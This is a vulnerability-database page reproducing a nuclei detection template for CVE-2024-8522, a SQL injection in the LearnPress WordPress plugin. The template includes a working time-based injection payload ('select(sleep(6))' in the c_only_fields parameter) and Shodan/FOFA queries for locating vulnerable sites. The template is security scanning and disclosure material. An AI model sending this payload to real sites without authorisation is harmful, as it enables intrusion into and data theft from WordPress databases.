Lucene search
+L

LearnPress < 4.2.7.1 - SQL Injection

🗓️ 25 Jul 2026 02:59:55Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 75 Views

LearnPress WordPress LMS SQL Injection vulnerability in REST AP

Related
Refs
Code
id: CVE-2024-8522

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://github.com/advisories/GHSA-3w3r-r6g6-w8x5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8522
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8522
    cwe-id: CWE-89
    epss-score: 0.62882
    epss-percentile: 0.99111
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: thimpress
    product: learnpress
    shodan-query: html:"/wp-content/plugins/learnpress"
    fofa-query: body="/wp-content/plugins/learnpress"
  tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - contains_all(body, 'id\":', 'name\":')
        condition: and
# digest: 490a004630440220412bcd7962239a5e318f0423807946dceb4c7e202d301ff4bc01e807c772aaf4022074b4d5fbaa9ae7d70505a734ae1fd129cb22a07670f9be21ef5952f6cbaface4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.5 - 10
EPSS0.62882
SSVC
75